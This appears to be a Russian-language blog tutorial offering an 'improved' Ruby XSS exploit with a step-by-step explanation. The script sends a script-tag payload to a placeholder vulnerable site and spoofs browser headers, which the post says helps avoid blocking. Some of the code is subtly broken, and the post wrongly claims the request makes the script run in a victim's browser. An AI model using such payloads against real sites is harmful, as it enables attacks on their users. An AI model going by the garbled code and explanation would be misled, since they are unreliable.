Главная страница » Блог » Пример улучшенного эксплойта для уязвимости Cross-Site Scripting (XSS) на языке Rubу. + пошаговый разбор кода

Пример улучшенного эксплойта для уязвимости Cross-Site Scripting (XSS) на языке Rubу. + пошаговый разбор кода

Mikhail Tarasov
19 июля, 2024

Я уже писал код простого эксплойта для уязвимости XSS .

А сейчас давайте улучшим этот код, добавив больше функциональности и гибкости. Например, мы можем добавить возможность указания пользовательских заголовков, обработку ошибок и более подробный вывод информации.

Вот улучшенная версия эксплойта на Ruby:

require 'net/http'
require 'uri'
# URL уязвимого веб-приложения
url = 'http://vulnerable-website.com/search'
# Вредоносный скрипт, который будет выполнен в браузере жертвы
xss_payload = '<script>alert("XSS Attack!");</script>'
# Создание полного URL с вредоносным скриптом в параметре запроса
uri = URI.parse("#{url}?q=#{URI.encode(xss_payload)}")
# Создание HTTP запроса
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
# Добавление пользовательских заголовков (если необходимо)
request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
request['Accept-Language'] = 'en-US,en;q=0.9'
begin
  # Отправка HTTP GET запроса
  response = http.request(request)
  # Вывод информации о запросе и ответе
  puts "Request URL: #{uri}"
  puts "Response Code: #{response.code}"
  puts "Response Message: #{response.message}"
  puts "Response Body:\n#{response.body}"
rescue StandardError => e
  # Обработка ошибок
  puts "An error occurred: #{e.message}"
end

require 'net/http'

require 'uri'

# URL уязвимого веб-приложения

url = 'http://vulnerable-website.com/search'

# Вредоносный скрипт, который будет выполнен в браузере жертвы

xss_payload = '<script>alert("XSS Attack!");</script>'

# Создание полного URL с вредоносным скриптом в параметре запроса

uri = URI.parse("#{url}?q=#{URI.encode(xss_payload)}")

# Создание HTTP запроса

http = Net::HTTP.new(uri.host, uri.port)

request = Net::HTTP::Get.new(uri.request_uri)

# Добавление пользовательских заголовков (если необходимо)

request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'

request['Accept-Language'] = 'en-US,en;q=0.9'

begin

# Отправка HTTP GET запроса

response = http.request(request)

# Вывод информации о запросе и ответе

puts "Request URL: #{uri}"

puts "Response Code: #{response.code}"

puts "Response Message: #{response.message}"

puts "Response Body:\n#{response.body}"

rescue StandardError => e

# Обработка ошибок

puts "An error occurred: #{e.message}"

end

Объяснение улучшений:

Создание HTTP запроса: Используется Net::HTTP.new для создания HTTP запроса, что позволяет более гибко управлять запросом и его параметрами.
Добавление пользовательских заголовков: Возможность добавления пользовательских заголовков, таких как User-Agent и Accept-Language, для имитации реального браузера.
Обработка ошибок: Добавлен блок begin-rescue для обработки возможных ошибок при выполнении запроса.
Вывод информации: Более подробный вывод информации о запросе и ответе, включая URL, код ответа, сообщение и тело ответа.

Этот улучшенный скрипт предоставляет больше возможностей для тестирования и анализа уязвимостей XSS, а также делает его более гибким и устойчивым к ошибкам.

Пошаговый разбор кода:

Этот эксплойт на Ruby предназначен для демонстрации уязвимости Cross-Site Scripting (XSS) в веб-приложении. Давайте разберем его работу шаг за шагом:

Шаг 1: Импорт необходимых библиотек

require 'net/http'
require 'uri'

1 2	require 'net/http' require 'uri'

Мы импортируем библиотеки net/http и uri, которые позволяют нам отправлять HTTP-запросы и работать с URL.

Шаг 2: Определение переменных

url = 'http://vulnerable-website.com/search'
xss_payload = '<script>alert("XSS Attack!");</script>'

1 2	url = 'http://vulnerable-website.com/search' xss_payload = '<script>alert("XSS Attack!");</script>'

url: URL уязвимого веб-приложения, к которому мы будем отправлять запрос.
xss_payload: Вредоносный скрипт, который будет выполнен в браузере жертвы, если веб-приложение уязвимо к XSS.

Шаг 3: Создание полного URL с вредоносным скриптом

uri = URI.parse("#{url}?q=#{URI.encode(xss_payload)}")

1	uri = URI.parse("#{url}?q=#{URI.encode(xss_payload)}")

Мы создаем полный URL, добавляя вредоносный скрипт в параметр запроса q. URI.encode используется для кодирования вредоносного скрипта, чтобы он корректно передавался в URL.

Шаг 4: Создание HTTP запроса

http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)

1 2	http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Get.new(uri.request_uri)

http: Создаем объект Net::HTTP, который будет использоваться для отправки запроса.
request: Создаем объект Net::HTTP::Get для выполнения GET-запроса к указанному URI.

Шаг 5: Добавление пользовательских заголовков

request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
request['Accept-Language'] = 'en-US,en;q=0.9'

1 2	request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' request['Accept-Language'] = 'en-US,en;q=0.9'

Мы добавляем заголовки User-Agent и Accept-Language для имитации реального браузера. Это может помочь избежать блокировок со стороны веб-сервера, который может фильтровать запросы от подозрительных клиентов.

Шаг 6: Отправка запроса и обработка ответа

begin
  response = http.request(request)
  puts "Request URL: #{uri}"
  puts "Response Code: #{response.code}"
  puts "Response Message: #{response.message}"
  puts "Response Body:\n#{response.body}"
rescue StandardError => e
  puts "An error occurred: #{e.message}"
end

begin

response = http.request(request)

puts "Request URL: #{uri}"

puts "Response Code: #{response.code}"

puts "Response Message: #{response.message}"

puts "Response Body:\n#{response.body}"

rescue StandardError => e

puts "An error occurred: #{e.message}"

end

response = http.request(request): Отправляем HTTP GET запрос и получаем ответ.
puts "Request URL: #{uri}": Выводим URL запроса.
puts "Response Code: #{response.code}": Выводим код ответа сервера (например, 200 для успешного запроса).
puts "Response Message: #{response.message}": Выводим сообщение ответа сервера.
puts "Response Body:\n#{response.body}": Выводим тело ответа сервера, которое может содержать HTML-код страницы.

Шаг 7: Обработка ошибок

rescue StandardError => e
  puts "An error occurred: #{e.message}"

1 2	rescue StandardError => e puts "An error occurred: #{e.message}"

Если при выполнении запроса возникает ошибка, она будет поймана и выведено сообщение об ошибке.

Итог

Этот эксплойт отправляет HTTP GET запрос на уязвимый веб-сайт с вредоносным скриптом в параметре запроса. Если веб-сайт не экранирует входные данные должным образом, скрипт будет выполнен в браузере пользователя, что приведет к XSS атаке. Скрипт также добавляет пользовательские заголовки для имитации реального браузера и обрабатывает возможные ошибки, делая его более гибким и устойчивым.